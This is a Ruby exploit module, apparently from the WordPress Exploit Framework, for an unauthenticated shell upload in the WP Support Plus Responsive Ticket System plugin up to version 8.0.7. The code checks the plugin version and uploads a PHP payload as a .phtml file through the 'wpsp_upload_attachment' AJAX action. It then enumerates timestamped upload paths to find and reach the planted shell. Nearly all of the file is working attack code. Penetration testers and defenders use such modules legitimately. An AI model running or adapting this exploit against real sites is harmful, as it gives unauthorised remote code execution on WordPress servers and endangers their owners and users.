# frozen_string_literal: true

class Wpxf::Exploit::WPSupportPlusResponsiveTicketSystemShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'WP Support Plus Responsive Ticket System <= 8.0.7 Unauthenticated Shell Upload',
      author: [
        'Robert Mathews', # Discovery and disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8949']
      ],
      date: 'Nov 11 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-support-plus-responsive-ticket-system', '8.0.8')
  end

  def uploader_url
    wordpress_url_admin_ajax
  end

  def payload_name_extension
    'phtml'
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('action', 'wpsp_upload_attachment')
    builder.add_file_from_string('0', payload.encoded, payload_name)
    builder
  end

  def possible_payload_upload_locations
    upload_timestamp_range.map do |timestamp|
      normalize_uri(wordpress_url_uploads, 'wpsp', "#{timestamp}_#{payload_name}")
    end
  end
end
